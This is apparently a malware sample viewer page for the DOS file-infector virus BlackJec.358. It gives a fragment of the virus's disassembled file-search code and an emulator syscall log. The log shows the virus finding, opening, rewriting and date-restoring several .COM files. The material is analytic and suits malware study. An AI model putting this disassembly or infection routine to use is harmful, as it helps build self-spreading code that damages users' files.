Sample viewer

vx.netlux.org/Virus.DOS.BlackJec.358

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:28:24.129020841Z 42 PC: 12a7a | Get date 0x12a7a: mov word ptr [0xf2], dx
0x12a7e: mov word ptr [0xf4], cx
0x12a82: stc
0x12a83: mov dx, 0x25d
0x12a86: mov ah, 0x4e
0x12a88: mov cx, 0x20
0x12a8b: int 0x21
0x12a8d: or ax, ax
0x12a8f: je 0x12a94
0x12a91: jmp 0x12b5e
0x12a94: mov ah, 0x2f
0x12a96: int 0x21
0x12a98: mov ax, word ptr es:[bx + 0x1a]
0x12a9c: mov word ptr [0xfc], ax
0x12a9f: add bx, 0x1e
0x12aa2: mov word ptr [0xfe], bx
0x12aa6: mov ax, 0x4f43
0x12aa9: sub ax, word ptr [0x9e]
0x12aad: jne 0x12ab2
0x12aaf: jmp 0x12b52
2018-12-17T22:28:24.132283668Z 78 PC: 12a8d | Find first file
2018-12-17T22:28:24.138064202Z 47 PC: 12a98 | Get disk transfer address
2018-12-17T22:28:24.139125626Z 43 PC: 12aee | Set date
2018-12-17T22:28:24.142823044Z 61 PC: 12af6 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:28:24.153974489Z 63 PC: 12b04 | Read file or device (Read 407 bytes on handle 5)
2018-12-17T22:28:24.160575708Z 60 PC: 12b36 | Create or truncate file
2018-12-17T22:28:24.179774875Z 64 PC: 12b48 | Write file or device (Write 765 bytes on handle 6)
2018-12-17T22:28:24.188842587Z 62 PC: 12b4c | Close file
2018-12-17T22:28:24.196577514Z 79 PC: 12b57 | Find next file
2018-12-17T22:28:24.199005476Z 47 PC: 12a98 | Get disk transfer address
2018-12-17T22:28:24.200597627Z 43 PC: 12aee | Set date
2018-12-17T22:28:24.203792272Z 61 PC: 12af6 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:28:24.214985113Z 63 PC: 12b04 | Read file or device (Read 27 bytes on handle 6)
2018-12-17T22:28:24.229028493Z 60 PC: 12b36 | Create or truncate file
2018-12-17T22:28:24.240897398Z 64 PC: 12b48 | Write file or device (Write 385 bytes on handle 7)
2018-12-17T22:28:24.244443255Z 62 PC: 12b4c | Close file
2018-12-17T22:28:24.253181565Z 79 PC: 12b57 | Find next file
2018-12-17T22:28:24.256132023Z 47 PC: 12a98 | Get disk transfer address
2018-12-17T22:28:24.257771154Z 43 PC: 12aee | Set date
2018-12-17T22:28:24.262129351Z 61 PC: 12af6 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:28:24.273507581Z 63 PC: 12b04 | Read file or device (Read 92 bytes on handle 7)
2018-12-17T22:28:24.280217802Z 60 PC: 12b36 | Create or truncate file
2018-12-17T22:28:24.293245985Z 64 PC: 12b48 | Write file or device (Write 450 bytes on handle 8)
2018-12-17T22:28:24.297236696Z 62 PC: 12b4c | Close file
2018-12-17T22:28:24.305406699Z 43 PC: 12b6a | Set date
2018-12-17T22:28:24.311224133Z 76 PC: 12a45 | Terminate with return code (Return code = '0')